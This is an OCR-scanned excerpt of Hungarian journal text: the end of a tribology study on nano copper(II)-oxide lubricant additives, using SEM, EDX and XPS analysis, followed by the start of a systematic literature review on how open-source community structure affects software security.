Osszetételétdl, illetve az egyes adalékok koncentracidjatol.

A kisérletek soran kialakult kopasképek digitalmikroszképos elemzése érdekes
eredményeket hozott: ahogyan a 8. abra is mutatja, mind a tarcsa, mind a golyo
prébatest kopott fellletén egy fényben csillogd, rézsargas elszinez6dés lathatd. Ezen
elszinez6dés alacsony nagyitasu felvételeken is egyértelm(en kivehetd. Mivel sem
a bazisolajnak, sem a réz(ll)-oxidnak, sem pedig a megégett olajnak nem sarga a szine,
igy e mlikddési mechanizmus tovabbi vizsgalatot igényel. Az azonban kdvetkeztethets,
hogy a vizsgalat kdzben egy olyan mechanizmus zajlott le, amely a réz(I1)-oxidot elemi
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rézzé redukalhatta. Az e redukcié eredményeként keletkezett elemi réz egy nagyon
puha fém, amely egyszer(ien képes lokalisan megolvadni és hozzatapadni a surlédé
probatestek feliiletéhez, ott egy vékony rézréteget képez, amely képes megvédeni
asurlodo feliileteket a kopastol. Ezenkivill, a vizsgalati eredmények alapjan a rézréteg
csUszasi surlédas kovetkeztében alacsonyabb surlddasi veszteséggel képes tizemelni.

8. abra

A 0,5 tbmegszazalékos, optimalisnak tekinthetd koncentracidval végzett vizsgélatok utan készitett
100x-os nagyitasu digitalmikroszkopos felvételek.
Forras: a szerzé 6sszeéllitasa

Az el6bb emlitett hipotézis bizonyitasa érdekében tovabbi, nagy nagyitasi mikroszkopos
felvételek készitése valt sziikségessé. A tovabbi vizsgalatokat egy HIROX tipusu pasztazé
elektronmikroszképpal végeztiik el. Eza mikroszkop kivalo lehetdségként szolgal nagyobb
nagyitasu felvételek elkészitésére, illetve a vizsgalati probatestek feliiletén talalhato ele-
mek meghatarozasara egy kiegészit§ EDX-szenzor szolgdl. Az elemzést a tribométeres
vizsgalatok soran meghatarozott optimumkoncentraciéval, tehat a 0,5 témegszazalékos
meérés probatestjeivel végeztiik el. Az elektronmikroszképos vizsgélatok eredményeiként,
ugyanarrol a helyrél készitett SE-, illetve elemanalizis-képeket a 9. dbra szemlélteti.

R
1622 Gui 5% P22,
LIAG: 1000X. M 20k WD: 10rhin

9. abra

A 0,5 témegszézalékos koncentracidval végzett vizsgalatok utdn készitett 1000x-es nagyitasu
elektronmikroszkdpos felvételek, feliileti elemanalizissel kiegészitve.
Forrés: a szerz6 6sszeéllitasa
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Az elektronmikroszkop lehetdvé teszi teljes elemdsszetétel meghatdrozasat is, igy
megallapithato a feliileten talalhaté elemek szazalékos eloszlasa, kiilénbozé felvételi
helyeken. Az elemanalizis eredményeit a 2. tablazat mutatja. Az eredményekbdl meg-
allapithato, hogy a feliileten jelent8s mennyiség( réz talalhatd. Az is megfigyelhetd,
hogy a réz aranyanak novekedésével nem né egyenesen ardnyosan az oxigén aranya.
Ez azt jelenti, hogy a réz, illetve az oxigén nem minden esetben jelennek meg a felii-
leten kotésben. Azt fontos megjegyezni, hogy a fémes probatest feliiletén mindig
kialakul egy vékony oxidréteg (a fém és a levegd talalkozasabol), és azért is talalhato
kevesebb oxigén a tobb rézzel fedett helyeken, mert a réz réteget képezve helyileg
ledrnyékolja az oxidalt fémes feliletet.

2. tablazat

0,5%-os olajmintdval végzett vizsgalat kopott feliiletének elemdsszetétel-Gsszehasonlitasa, [6ket
kozepérél és loket végérdl vett mintaval, tomegszazalékos abrazolasban.
Forrés: a szerz6 6sszeallitasa

Felvételi hely |Fe Cr Si (o) C Cu
Loket kozép 75,23% 1,20% 0,69% 718% 6,45% 9,25%
Loket vég 76,11% 1,36% 112% 11,19% 5,94% 4,29%

Az elektronmikroszkopos felvételek alapjan megallapithatd, hogy a kopott feliileten
nagy mennyiségben felgyiilemlett a réz, azonban az oxigén nem dusult fel a réz jelen-
létével. Az oxigén megtalalhatd azon a helyen is, ahol nem taldlhato réz, ez pedig
a fémfellilet leveg&vel torténd érintkezésével és a feliilet oxidaciojaval magyarazhato.
Mivel arézis hajlamos oxidacidra, igy ezen elemzés alapjan nehezen allapithatd meg,
hogy a feliileten talalhato réz milyen kdtésben, milyen anyagokkal kézdsen talalhatod
meg. A lehetséges opciok: Cu, CuO és Cu,O. Azonban a képrél sejthetd, hogy a réz
és az oxigén jelenléte nem egyforma, igy feltételezhetd, hogy a feliileten talalhatd,
elektronmikroszkoppal kimutatott rézanyag vagy feltapadt elemi réz, vagy pedig
a vizsgalat utan mar oxidalddott réz(1)-oxid (Cu,O) lehet, nem pedig réz(1l)-oxid (CuO).

A feliileten jelen lévé réz és réz-oxidok fajtainak és azok aranyanak megallapi-
tasahoz rontgen-fotoelektron spektroszképiat (X-ray Photoelectron Spectroscopy,
XPS) alkalmaztunk. Ez a technika a feluletek vagy vékonyrétegek anyagarél kémiai
informaciot nyujt (5-10 nm az a rétegmélység, amibél informacio nyerhetd), mivel
avizsgalt anyag elektronjainak kotési energiajat méri, ami az adott elem, adott kémiai
allapotara jellemzé mennyiség.’

Améréshez Al/Mg kettds andddal rendelkez8, monokromator nélkiili rontgenforrast
és Phoibos100 MCD-5 félgémbanalizatort (SPECS, Berlin) hasznaltunk. A spektrumok
1486 eV-o0s Al K-o sugarzassal késziiltek. A mintadarabon jelen levé olajréteg eltavoli-
tasa érdekében, mérés el6tt a mintat egyszer acetonban, egyszer pedig kloroformban

7 Anders Fahlman - Carl Nordling — Kai Siegbahn: ESCA: Atomic, Molecular and Solid State Structure Studied
by Means of Electron Spectroscopy. Uppsala, Almkvist Wiksells, 1967.; Imre Bertoti: Feliiletvizsgalat réntgen-
fotoelektron spektroszkdpiaval. In Vélogatott fejezetek a miiszaki feliilettudomanybdl. Budapest, Mliegyetemi
Kiado, 1998.; John Moulder: Handbook of X-ray Photoelectron-spectroscopy. Eden Prairie, Minnesota, Perkin-El-
mer Corporation, 1992.
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tisztitottuk ultrahangfird6vel, 3-3 percen at, majd szaraz nitrogénsugarral szaritottuk.
A nem illékony és nem oldddé fellileti szennyezéket ionporlasztasos felllettisztitas-
sal tavolitottuk el, kozvetlenil a mérés elétt (a tisztitas végétdl, a mérés kezdetéig
a minta folyamatosan nagyvakuumban, a mérés alatt ultramagas vakuumban volt).
A spektrumokat a CasaXPS programmal (www.casaxps.com) dolgoztuk fel, a jelpozi-
cidkat a szén jeléhez (284,5 eV) korrigaltuk. A jeleket kevert Gauss/Lorentz gorbékre
bontottuk fel, Shirley alapvonal-korrekcié utan.

A 10. dbra bemutatja a mintardl késziilt 6sszefoglald (survey) spektrumot,
amelybél jol latszik, hogy a vizsgalt fellilet igen kis hanyada all rézvegyiiletekbél.
Ez a besugarzott (7x20 mm) és a réztartalmu (~1x1,5 mm) feluletek kozti méretki-
lonbségbdl adodik. A réz 2p csucsanak jel/zaj aranya emiatt nem megfeleld ahhoz,
hogy érdemi informaciét nyujtson. A réz LMM Auger tartomanyaban viszont a réz
kilonbozé oxidacios allapotainak energiai kdzti kiilénbség nagyobb, kevésbé fednek
at az egyes kémiai allapotokhoz rendelt csiicsok, tehat kis intenzitas esetén megbiz-
hatébb informacidhoz jutunk.
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10. abra
0,5 témegszazalékos mérés kopott feliilet 6sszefoglalé XPS-spektruma.
Forras: a szerzd osszeallitasa

A réz LMM Auger tartomanyarol felvett részletes spektrumot a 11. dbra mutatja.
A jelek felbontésa utan a csuicsok pozicioi megmutatjak az egyes rézvegyiletek anyagi
minGségét, jel alatti terlileteikb6l pedig kiszamolhato, hogy milyen aranyban vannak
jelen. Ezeket az adatokat tartalmazza a 3. tablazat.
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11. abra
0,5 témegszazalékos mérés kopott feliilet Cu LMM Auger spektruma.
Forras: a szerz6 sszeallitasa

3. tablazat
0,5%-os olajmintaval végzett vizsgalat kopott feliletén taldlhatd rézveqyiiletek fajtai és el6fordulasi aranyuk.
Jl g g P gy Jl !
Forras: a szerz4 osszeallitasa

Név Kotési energia (eV) Atom%-os koncentracio
Cu,O 570,43 69,60
Cu 567,83 30,40

Ezek az eredmények azt mutatjak, hogy a surlédasos vizsgalat soran a CuO redukcion
ment keresztiil, Cu,O-t és elemi rezet eredményezve. Ezen anyagok felileten valo
jelenléte a kovetkez6 folyamatok mentén alakulhatott ki:

« Mivel a vas erésebb redukaloszer, mint a réz (a vas standard elektrodpotencialja
E°=-0,44V, a rézé pedig +0,337 V), ezért a vas oxigént vonhat el a réz-oxi-
dokbdl, ha ezt a korilmények engedik (a két anyagnak érintkeznie kell, magas
hémérsékleten).

+ Az adalékként hasznalt réz-oxid a surlédasos vizsgalatok soran hasznalt 100°C
hémérsékleten képes lehet reakcidba [épni a hasznalt G3 tipusu bazisolajjal (a G3
bazisolaj C20 és C50-es szénhidrogének keverékébél all) és elemi rézzé redukalddni.

+ A réz akdr mar az dsszekevert olajadalék-fazisban elkezdhetett redukalédni,
amennyiben a rendszer szabad energidja ezt lehet6vé teszi. A vizsgalatok soran
hasznalt magas h6mérséklet, illetve a surlédasi energia atalakulasa soran
keletkezett h& tovabb fokozhatta a réz redukcids folyamatat.
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A rendszerben kialakult elemi réz az alacsony keménysége miatt kdnnyen kenhetd
allapotu, igy a surléddasos vizsgalatok soran csekély ellenallas mellett képes feltapadni,
felhegedni a surlddo feliletre, ott egy triboldgiai védéréteget képezve csokkentheti
a surlodasi egylitthatd értékét, illetve a tapasztalhatd kopas nagysagat.

Kordbbi tanulmanyok mar foglalkoztak hasonlé vizsgalatokkal: Tarasov és tarsai
megvizsgaltak az elemi réz olajadalékként valo alkalmazasanak lehet&ségeit és az elemi
réz triboldgiai tulajdonsagait. Ebben a tanulmanyban kiilénb6z6 védégazok alatt
csomagolt elemi rezet kevertek széria-motorolajba és ezek tulajdonsagait vizsgaltak.
Az elemi réz véd6gaz alatti cscomagolasa ilyen esetben elengedhetetlen, mivel azilyen
kis szemcseméreti rézrészecskék nagyon hamar képesek reagalni a levegé oxigénjével.
A tanulmanyban szintén megallapitjak, hogy a réz az alacsony keménysége miatt kony-
nyen feltapad a surlodo feliiletre, feltolti vagy betakarja a kopott arkokat, védéréteget
képezve a fellileten. A tanulmany kovetkeztetésként levonja, hogy a legjobb véd6gaz
a nitrogén (N2), illetve amennyiben nem csak argon, hanem argon-oxigén keverék
alatt csomagoljak a rezet, akkor az oxidalodott réz jobban csdkkentheti a triboldgiai
tulajdonsagokat. Ez azzal magyarazhato, hogy a rézréteg kialakulasa utan az oxidalodott
réz bekerlilhet a két surlédo felilet kdzé, ott nano-gordilécsapagyakként viselkedik,
jotékony triboldgiai hatasokat biztositva a rendszer szamara.®

Annak bizonyitasara, hogy megallapitsuk, a surlédasos vizsgalat mely fazisaban
alakul ki ez a véd6réteg, rovid lefutasu vizsgalatokat végeztiink el. Ezen vizsgéalatok
idétartama rendre 30s, 60s, 120s, 300s volt. A vizsgalatok soran keletkezett kopaské-
pek digitalmikroszkopos felvételeit a 12. abra ismerteti. E vizsgalatok eredményeként
megallapithato, hogy mar az elsé két percben megjelenik a feliileten a rézszindi felhe-
gedt réteg, amely arra enged kdvetkeztetni, hogy a redukcié az alkalmazott 100°C-os
hémeérséklet és az alternald mozgas hatasara gyorsan és kdnnyen végbemegy.

12. 4bra

A 0,5%-0s CuO-koncentracioval elvégzett rovid id6tartalmu mérések digitalmikroszkdpos felvételei,
100x-o0s nagyitassal, a) 30, b) 60's, ¢) 120s, d) 300's. Forras: a szerz6 sszeallitasa

8 Sergei Tarasov et alii: Study of friction reduction by nanocopper additives to motor oil. Wear, 252 (2002),
1-2. 63-69.
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Ardvid mérések esetén is megallapithatd, hogy a strlédasos vizsgalat elérehaladtaval
a feliileten kialakult réz-oxid mennyisége és vastagsaga valtozik: a rézréteg kialakul
a feluileten, majd a magas triboldgiai igénybevétel miatt lekopik és tavozik a hasznalt
kendolajjal. Ameddig a kendolaj tartalmaz elegendd rézoxid-utanpotlast, ez a folyamat
Ujra és Ujra végbemegy, hiszen lathato, hogy a rovid mérések esetén 120 masodpercig
novekszik a réz jelenléte, majd az 5. percre ez a mennyiség mar csdkken. A kétoras
vizsgalatok végén azonban a réz ismét megtalalhato a feluleten.

Osszefoglalas és kitekintés

Jelen tanulmany bemutatta a gy6ri Széchenyi Istvan Egyetem triboldgiai laboratéri-
umaban elvégzett réz(I1)-oxid nanoméretli kisérleti kenbolaj-adalék tribologiai vizs-
galatainak eredményeit. A vizsgalatok soran, az adalék miikddési mechanizmusainak
megértése érdekében mind pasztazé elektronmikroszkopos (SEM-) vizsgalatokat,
mind pedig rontgen-fotoelektron-spektroszkopiat (XPS) elvégeztiink. A vizsgalatok
eredményeként a kovetkezé megallapitasok tehetdk:

+ A CuO nanoméretl, gdmb formaju adalék Group Il tipusu bazisolajba torténd
oldasahoz sziikséges magneses keverés és ultrahangos homogenizalas.

« Aréz(ll)-oxid adalék esetén megallapithato az optimalis keverési koncentracio,
amely 0,5 tdmegszazalékra tehet6. Ezen koncentracidval elvégzett mérések
15-15%-0s surlodas- és kopascsokkenést eredményeztek.

+ Akeletkezett kopasnyomok feliiletén szabad szemmel is lathaté rézsarga réteg
figyelhetd meg. Az elektronmikroszképos felvételek alapjan megallapithatd
aréz jelenléte a feliileten, azonban a rézzel nem aranyos a feliileten talalhaté
oxigén jelenléte.

A felileten jelen lév6 réz és réz-oxidok fajtainak és aranyainak meghataro-
zasahoz XPS-vizsgalatokat végeztiink el, amely LMM Auger spektrumanak
vizsgalata bebizonyitotta, hogy a feliileten talalhaté réz 69,6%-a Cu,O, mig
30,4%-a elemi rézként figyelheté meg a fellleten. Ez bizonyitja a CuO-adalék
oxigénredukcidjat a vizsgalat soran.

+ Az elemzés sordn harom hipotézist allitottunk fel a réz redukciodjara vonatko-
z6an: a probatest vas alapanyaga redukalja a réz-oxidot tizemi h6mérsékle-
ten, a réz-oxid a bazisolajat felépitd szénhidrogénekkel kerdl reakcidba vagy
a vizsgalat soran, vagy mar a vizsgalatok el6tt, a bekeverési fazisban. Hogy
megallapitsuk, pontosan melyik kémiai reakcié megy végbe a réz redukcidja
soran, tovabbi olajvizsgalatok, illetve szabadenergia-szamitasok sziikségesek.

A vizsgdlati modszer egy roviditett kisérlet, amely soran mind a terhelés, mind a moz-
gasviszony egyszer(sitett a valdésagoshoz viszonyitva. Ennek okan az elért eredmények
100%-o0san nem &sszehasonlithatok egy valodi bels6é égésti motorban tapasztalt
peremfeltételekkel elvégzett mérés eredményeivel. Tovabbi vizsgalatok sziikségesek
ezzel a nanoméret(i réz(ll)-oxid-adalékkal, mielétt egy valds, a kozutakon tizemels
jarmUben felhasznalasra kerilhet. E fejlesztési folyamat mentén, egy égéses lizem(i
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motorfékpadi vizsgalat esetén pontosabban megvizsgalhatd a nanorészecske hatasa
egy valosagos, hosszabb lizemeltetés esetén is.

A vizsgélatok eredményeként megallapitott rézredukcio pontos kémiai dtalaku-
lasanak bizonyitasa érdekében a jov6ben tovabbi gyakorlati és szamitasi kutatasok
elvégzése sziikséges.

Osszegzésként megallapithato, hogy a nanoméretii réz(1l)-oxid-keramia haté-
konyan képes csokkenteni a surlédasos mozgasok soran fellép6 surlodasi és kopasi
veszteségeket, amelyre a mai autdiparnak a kdrnyezettudatossag, illetve az alacsony
lizemanyag-fogyasztas miatt sziiksége lehet. Azonban az adalék tovabbi vizsgalatai
sziikségesek, miel6tt a nanoadalékot személyautdk motor- vagy valtéolajaiban hasz-
nalhatjuk. Példaként megemlithetd, hogy az adalék kipufogogaz-utdkezels rendszerekre
gyakorolt hatasa a mai napig még nem ismert.
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Napjainkban a nyilt forrasu fejlesztési modell termékeinek felhasznalasa széles
korben elfogadottd, sokak szerint egyenesen megkeriilhetetlenné valt. A kozosség,
amely ezeket a szoftvereket és komponenseket létrehozza, azonban mas normakat
és strukturat kévet, mint a hagyomanyos fejleszt6csapatok. Fontos kérdés, hogy
ezeknek az eltéréseknek milyen biztonsagi vonzatai lehetnek rendszerelemet fel-
hasznalé informacioés rendszer biztonsagat illetéen, illetve hogyan védekezhetiink
ezek ellen. A cikkben a teriilet tudomanyos eredményének atfogé és szisztemati-
kus elemzése alapjan bemutatom a lehetséges kockazati tényezéket és a javasolt
védelmi lehetSségeket.
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Products of the Open Source Development Model are widely accepted if not imper-
ative nowadays. The community which creates these components is following dif-
ferent norms and structure than the conventional developer teams. It isimportant
to understand what implications for the information infrastructure might be caused
by these differences, and what are the possibilities for protection. In this paper |
conduct a systematic analysis of the relevant literature to identify the possible risks
and defence mechanisms.
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Problémafelvetés

Anyilt forrasu kozdsségek jellegzetes szervezeti strukturat mutatnak, és a zart modellt6l
jelent8sen eltérd projektvezetési, modszertani megoldasokat alkalmaznak. Tekintve,
hogy napjainkban egyre tébb nyilt forrast komponenst hasznalunk fel kozvetve vagy
kozvetlenil, joggal meril fel a kérdés, vajon ezeknek az eltéréseknek van-e valamilyen
kimutathatd hatasa a végterméket felhasznald szervezet biztonsagara.

Akérdés egyaltalan nem érdektelen, hiszen a felhasznalt komponenseken keresztiil
akar olyan komoly sériilékenységek is bekeriilhetnek a késztermékbe, mint a hirhedt
Heartbleed, amely lényegében globalis biztonsagi valsagot okozott. A kiberhaborus
torekvések egyre komolyabb fenyegetést jelentenek, kiilénds tekintettel a létfon-
tossagu rendszerelemekre, amelyek kdzvetve vagy kozvetlenil szintén felhasznalnak
nyilt forrast komponenseket.

A nyilt forras felhasznalasa érezhetSen egyre né. Ennek részben (zleti, részben
technikai okai vannak. Uzleti cél lehet a versenytarsak hegemoniajanak megtorése,
uzleti novekedés segitése vagy alternativ piaci lehet8ségek megnyitasa. A technikai
okok kdzt emlithetjik a piacra keriilési idé lerdvidilését, a karbantartas egyszer(iso-
dését és az innovacids képesség novelését.? Felhasznaldként vagy integratorként
tehat fontos minél pontosabban megérteni milyen kockazatokkal kell szembenézniink
az egyre elkerllhetetlenebbnek latszo nyilt forrasu komponensintegracio soran.

A fejleszt8i kozosség szervezeti, modszertani eltéréseibdl fakadod biztonsagi
problémak nem egyértelmdiek, igy pontos megértésiik segit a lehetséges kockazatok
mérséklésében.

Kutatasi modszer

A probléma megértéséhez és elemzéséhez négy nagy digitalis konyvtar (IEEE Digital
Library, ACM Digital Library, ScienceDirect és SpringerLink) publikacidit hasznaltam
fel. A forrasirodalombdl szisztematikus keresés és irodalomfeldolgozas segitségével
gy(ijtéttem biztonsagot befolyasolo tényez6ket.

A szliréshez hasznalt kivalasztasi protokoll a kdvetkez&k szerint alakult: csak
olyan dokumentumok, cikkek folyoiratok és konferenciapublikaciok keriiltek az elem-
zésbe, amelyek a nyilt forras vagy annak fejlesztési mddszertana valamely egyedi
jellemzéjét, biztonsagi vonzatat elemzik, illetve dsszehasonlitjak azt a zart forrasu
fejlesztési mddszertan eredményeivel. A publikacié 2005 utan jelent meg, kisérlet,
esettanulmany, 0sszehasonlité elemzés, vélemény vagy tapasztalati beszamolé.
Tovabba, témajat tekintve valamilyen szamitastudomanyi, szoftvermérndki, illetve
szoftverbiztonsag-profilu folydiratban jelent meg.

Nem szerepelnek az elemzésben a kovetkezd kihagyasi kritériumok szerinti mlvek:
angoltdl eltérd idegen nyelven irddott; haldzaton, digitalis konyvtaron keresztil

2 Carl-Erik Mols - Krzystof Wnuk: Charting the Market Disruptive Nature of Open Source: Experiences from Sony
Mobile. Proceedings of the 39" International Conference on Software Engineering Companion. Buenos Aires,
Argentina, IEEE Press, 2017. 175-176.
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nem elérhetd; szabvanyok, workshopjelentések, recenzié kategériakba esé nem
teljes értékli dokumentumok, vazlatok, prezentaciédiak és -kivonatok; masodlagos
és harmadlagos tanulmanyok és metaanalizisek; nem szoftvertervezéssel foglalkozo
szamitastudomany témaju cikkek; nyilt forrasra csak tovabbi, tervezett feladatként
hivatkozé munkdk; amennyiben a publikalt eredmény nem kéthetd a nyilt forrashoz,
pusztan a bemutatott vagy felhasznalt szoftver(ek) nyilt forrasd(ak); illetve ha csak
azért foglalkozik nyilt forrdssal, mert konnyen elérhetd, de a vizsgalt kritériumnak
nincs kdze a biztonsaghoz, és nem vizsgélja a zart forrastol valé eltérést; esettanul-
many, ahol egy adott nyilt forrasu szoftver olyan tulajdonsagat elemzik, amely nem
altalanosithato; végll, ha egy szlikebb nyilt forraskategoria elemeit hasonlitja 0ssze.
A cél elérése érdekében az alabbi keresdkifejezést allitottam dssze:
( ,open source software” OR ,libre software” OR

free software” OR ,FOSS” OR ,F/OSS" OR ,F/OSSD" OR

,FOSSD" OR ,FLOSS” OR ,F/LOSS" OR ,,OSSD”
) AND (

(,closed source” OR traditional OR proprietary) AND
(comparison OR evaluation OR difference)
) OR vulnerability OR (security AND (implication* OR problem* OR weakness*
OR issue*))

A keresékifejezésben nem szerepelnek a kdzdsségre vonatkozd kulcsszavak, mivel
az elemzést szélesebb kord kutatas részeként végeztem, a kozdsséggel kapcsolatos
mUveket egyedileg azonositottam be, ami pontosabb eredményt biztosit, mint
a kulcsszavas keresés. A kivalasztott publikacidk elemzése soran kilenc nyilt forrasu
jellemz6t és azok biztonsagi hatasait kategorizaltam. A kategdriak kozil a cikk csak
egyetlen kategdriaval, a kozosség hatasaival foglalkozik. Ennek megfelel6en a mas
kategodriak ala sorolhato jellemzdk, példaul a forras nyiltsagabol adodo eltérések,
a tdmogatasi rendszer eltérései vagy a konkrét terméktulajdonsagok nem szerepelnek
a jelen elemzésben.

A duplumok eltavolitasa utén a kihagyasi kritériumokat az absztrakt alapjan
alkalmaztam. Ezt kovet&en 938 publikacidt elemeztem gyorsolvasas segitségével.
Anyilt forrasu kdzosséggel kapcsolatba hozhaté témaju irdsok szama 238-ra csdkkent,
amelybdl 152 md kifejezetten a kdzdsséggel foglalkozott.

Eredmények

A nyilt modell munkaerejét ado kozdsség mind szerkezetében, mind motivacidjaban,
vezetési strukturajaban gyokeresen eltér a zart modell szocidlis struktdraitol. Az utdbbi
években azonban bizonyos konvergencia figyelhet§ meg, egyre terjednek a nyilt modell
maodszereit kdvet6 kisebb startupok, a nagyobb IT-vallalatok pedig elemeket vesznek
at a nyilt modszertanbol, s6t aktivan tdmaszkodnak a nyilt modell kdzdsségeire.
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A kozosség képességei, szervezettsége jelentds hatast gyakorolhat a végtermékre,
igy kdzvetve vagy kozvetlenil az azt felhasznalod szervezet biztonsagi szintjére. Emi-
att — bar elsd pillantasra ugy tlinhet, hogy az informacio- és informatikai biztonsaghoz
nem sok kdze van — fontosnak tartom elemezni a klasszikus nyilt kozdsség felépitését
és szocidlis jellegét. Az eltérések halmaza két csoportra, a szervezeti és a személyi
(kozosség szerepldinek eltéréseibSl adodo) kérdéskorre bonthato. A szervezeti jellemzék
tovabb bonthatok a felépitésbél, szocidlis strukturabdl, atlathatosagbol, szervezédési
maodszertanbdl és az iranyitas eltéréseibdl adddé eltérésekre. Az alabbiakban az ered-
ményeket ilyen bontasban ismertetem.

Szervezet

A klasszikus nyilt kdzosség onszervez8dé, viszonylag gyorsan valtozé laza, modularis
haldzatot alkot, amelyben a résztvevék dontési mechanizmusai, szocialis kapcsolatai
eltérhetnek az tizleti modellben megszokottol.

Korabban nyilt kozdsség alatt maganszemélyek egy csoportjat —elsésorban a fej-
leszt6ket és tesztel6ket — értették, mostanra azonban ez az elképzelés megvaltozott.
A gazdasdgi szerepl&k belépésével a nyilt kdzdsség kilonféle csoportok komplex
fliggbségi viszonyban allé halmazava valt, amelyben jelentds szerepet toltenek
be a terméket felhasznalé integratorok, a termékkel kapcsolatos szolgaltatasokat
végzl cégek és a jogi, tarsadalmi hatteret adé tamogato szervezetek (alapitvanyok,
konzorciumok). A nyilt kozosséggel kapcsolatos csoportok szerepét és fliggGségeit
az 1. abra mutatja be.

Alapitvany,
Konzorcium

'
tagség

\.

Szolgaltato

Felhasznaldk

1. dbra
OSSD szervezeti kornyezete.
Forras: a szerzé szerkesztése
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E csoportok egyiittes hatasa alakitja ki a nyilt fejlesztési modell miikddési hatterét,
befolydsolva ezzel a végsd termék haszndlhatdsagat és biztonsagi szintjét. A nyilt
kozosség altal fejlesztett (FLOSS) termékbdl kozvetlendl hasznot hizo szolgaltatok
és integratorok fizetett fejleszt6kon keresztiil igyekeznek biztositani a projekt szamukra
kedvezé irdnyat, mig a felhasznaldk — akik gyakran fejleszték is egyben — élvezhetik
a két csoport nyujtotta termékeket és szolgaltatasokat.

A tamogatasok és iranyitas gyakran formalis kereteket 6lt konzorcium vagy
alapitvany formajaban, amelyet minden érdekelt fél tamogathat, jogi, pénzigyi
és tarsadalmi hatteret biztositva a k6z0s fejlesztésnek.

Fejleszt6kozdsség felépitése

Az OSSD-kozdsségek sokkal inkabb hasonlitanak egy szocidlis halézatra vagy a meg-
oszlé haldzatokra mint hagyomanyos fejlesztécsapatra. Barki részt vehet bennik,
bonyolult, hatarokon ativeld rendszert alkotnak, és a kapcsolattartas donté részben
a halézaton keresztiil zajlik.

passziv felhasznalo

hiba bejelent6

2. abra

OSSD hagymamodell.

Forras: a szerzé szerkesztése (sajat valtozata Di Bella nyoman)?

A kozosség rugalmas, kdnnyen valtozik, szerkezetét tekintve pedig altalaban egy
kozponti mag részbdl, és az azt koriilvevs tovabbi kiilsé rétegekbdl all, hagymaszer(
strukturat hozva létre (lasd 2. bra). A magrész tagjai hozzak a legfontosabb dontéseket,
altalaban csak nekik van joguk modositani a kdzponti forrastarakat és jobbara hosszu

3 Enrico Di Bella — Alberto Sillitti — Giancarlo Succi: A multivariate classification of open source developers.
Information Sciences, 221. (2013), 72-83.
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id6n keresztiil a projektben tartézkodnak.* A magot kortilvevé fejlesztdi holdudvar
a magtol tavolodva egyre ritkdbban adomanyoz kddot, és egyre kisebb szerepet vallal
a fejlesztésbol. A teljes fejleszt6tabor lehet egészen nagy, tobb ezer f6s, de a kdzOsség
méretének novekedésével mar egyre kevesebb a hozzaadott fejlesztéerd.”

A magfejleszték kis csoportja adja a projekt gerincét, az érdemi munka dénté
hanyadat is gyakran 6k végzik® az atlagnal magasabb minéségben (a hagyma ,magja”
tehat kissé eltérs). A mag mérete valtozhat, de a legtébb projektben 15 6 alatt marad.’
A magfejleszt6k kozott lehetnek pdtolhatatlan személyek, ami termelékenységi szem-
pontbdl hasznos am egyben kockazati tényez6 is, ugyanis a centralis emberek kiesése
komolyan sértheti a csoport teljesitményét.® Az akadémiai projektként indult GIMP
fejlesztése példaul tobb mint egy évre ledllt, mert vezet6 fejlesztSi befejezték az iskolat
és elmentek dolgozni. Ennyi ideig tartott, mig valaki mas felvette a stafétabotot.’
Kimutathatd, hogy a kdzepesnél nagyobb nyilt projektek dontd része ,h&sprojekt”,
ahol a fejlesztés 80%-at a fejleszték 20%-a végzi."®

Az aktiv fejleszték jo ralatassal rendelkeznek a projektre, idével beléphetnek
a magfejleszt6k kozé, bevonjak ket a kulcsfontossagl dontésekbe, de szerepik
marginalis. Az alkalmi fejleszt6k csoportja a legnagyobb, &k egyetlen funkcidra vagy
hibajavitasra koncentralnak. E csoport kiilsé hataran helyezkednek el az egyszeri
fejleszt6k, akik valamikor hozzajarultak a projekthez, am végil kilonféle okok miatt
(id6hiany, érdektelenség) végiil eltavolodtak attol.

A nagyobb projektekben altalaban cégek is adomanyoznak kédot, illetve sajat
fejleszt6kon keresztiil igyekeznek a mag kozelébe kerilni.

Aklasszikus homogén hagymamodell azonban kissé megtéveszté, ugyanis a magot
korulvevd kozosség altalaban kis csoportokra, modulokra bomlik, akik egymassal
stiribben kommunikalnak, esetleg sajat kdzponti tagjaik vannak. A szponzoralt fejlesz-
ték jelenléte tovabb noveli a modularitast, az egy céghez tartozdk kdzott szorosabb
a kapcsolat. Ez a struktura segiti, hogy a fejleszt8szam novekedésével a kommunikacié
ne valjon kezelhetetlenné. A decentralizalt projektek jellemz6en modulérisabbak mint
a centralizaltak, a kisebbek pedig tobbnyire a hierarchikus tipusbdl indulva érik el
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a decentralizalt allapotot." A viszonylag kis mag kialakulasa nem hianyossag, hanem
sziikségszer( kdvetkezmény, ugyanis egy nagyobb létszamu kdzponti csoport tagjaira
kezelhetetlenil nagy kommunikacios teher nehezedne.

A hibabejelent&k és a fejleszt6k egymas kdzott sokat kommunikélnak, am a leg-
jelent8sebb fejleszték a hibabejelent6kkel keveset kommunikalnak,'? ami arra enged
kovetkeztetni, hogy a gyors és hatékony hibajavitasok érdekében a FLOSS felhasznalé
szervezetnek csatlakoznia kell a fejlesztéshez.

Egyes projektek sajat biztonsagi csapattal is rendelkeznek, akik a biztonsaggal
kapcsolatos figyelmeztetéseket figyelik és értékelik, illetve folyamatosan hibakat
keresnek az alkalmazasban. Ez a jelenség azonban nem altalanos és formalis kdvetel-
mények nélkil hatékonysaga is megkérdéjelezhetd. Ruohonen et alii CVE sériilékenység
jelentések analizise segitségével arra a megallapitasra jutott, hogy a sériilékenységek
jelentése altalaban kis szamu magfejlesztéhoz flizédik.™

Aziranyitott és szponzoralt nyilt kozosségek szignifikansan tobb fizetett fejlesztét
alkalmaznak, és joval magasabb a modositasra jogosult fejleszték szama. A magot
kdrbevevé holdudvar végzi a tesztelés, hibakeresés nagy részét, a végsé dontést
és a kiadasi itemezést altalaban az iranyitd ipari szereplé hatarozza meg." Az irdnyitott
kozosségekben érdemes megkiilonboztetni a kettds licencelést alkalmazd, egyetlen
cég koré épult projekteket, illetve a kdzds cél érdekében egyesiilé cégcsoport altal
vezetett projekteket (technoldgiai konzorcium).

A projekttel kapcsolatos kockazatbecslés elvégzéséhez elengedhetetlen a kdzosség
tipusanak és strukturajanak ismerete. A magfejleszték szamanak és stabil jelenlétének
komoly kdvetkezményei lehetnek a projekt stabilitasara. A nyilt szerkezet ellenére csak
a maggal szorosabban kommunikalé tagoknak van jo esélye a hibajegyek hatékony
kezelésére, ezért a kockazatok mérséklése érdekében érdemes kapcsolattartdkat,
fejleszt6ket delegalni a kozdsségbe.

Szocialis struktura

A koz6sség szocidlis strukturdja és ideoldgiai beallitottsaga direkt hatast gyakorol
a jelentkezésekre és a dontéshozatalra, igy a teljes projekt teljesitményére.” A tarsakrol
